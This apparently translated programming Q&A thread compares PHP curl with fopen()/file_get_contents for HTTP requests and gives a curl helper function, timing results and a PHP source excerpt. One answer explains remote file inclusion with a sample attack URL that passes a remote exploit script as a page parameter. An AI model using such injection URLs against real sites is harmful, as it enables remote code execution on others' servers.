我正在编写一些需要通过HTTP与Web服务通信的代码.在过去,我使用过curl库.最近,我注意到我可以简单地使用fopen()来访问远程URL,这似乎更简单.
Curl似乎更具可配置性,拥有众多选项.除了可配置性之外,使用哪种方法是否重要?如果是这样,哪个更好,为什么?
正如Alnitak所说,使用CURL并不依赖于PHP设置.我做了一些速度测试
file_get_contents
和我的
function file_get_contents_curl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); $data = curl_exec($ch); curl_close($ch); return $data; }
结果:
0.263456821442 0.0626730918884
CURL快4倍:)
fopen()
只有allow_fopen_url
在启用时才会打开远程URL php.ini
.
但是在5.2.0之前的版本中,这非常危险,因为该include
函数还会从远程站点下载和解析 PHP代码.一个天真的编码器很容易被如下代码所捕获:
此时攻击者只需要http://example.com/script.php?page=http://example.net/my_exploit_script
在系统上执行自己的代码并引入漏洞利用程序.不幸的是,默认值为allow_fopen_url
'on'.
幸运的是,自5.2.0以来,有一个单独的设置(应该默认为'off')allow_url_include
,这会阻止include
下载远程代码.
就个人而言,如果您有选择使用Curl,请使用而不是fopen
.
注意:PHP可以配置为使用curl作为http url_wrapper而不是使用"它自己的"实现.
EXT /卷曲/ interface.c:
#ifdef PHP_CURL_URL_WRAPPERS # if HAVE_CURL_VERSION_INFO { curl_version_info_data *info = curl_version_info(CURLVERSION_NOW); char **p = (char **)info->protocols; while (*p != NULL) { php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC); } } # else php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC); # endif #endif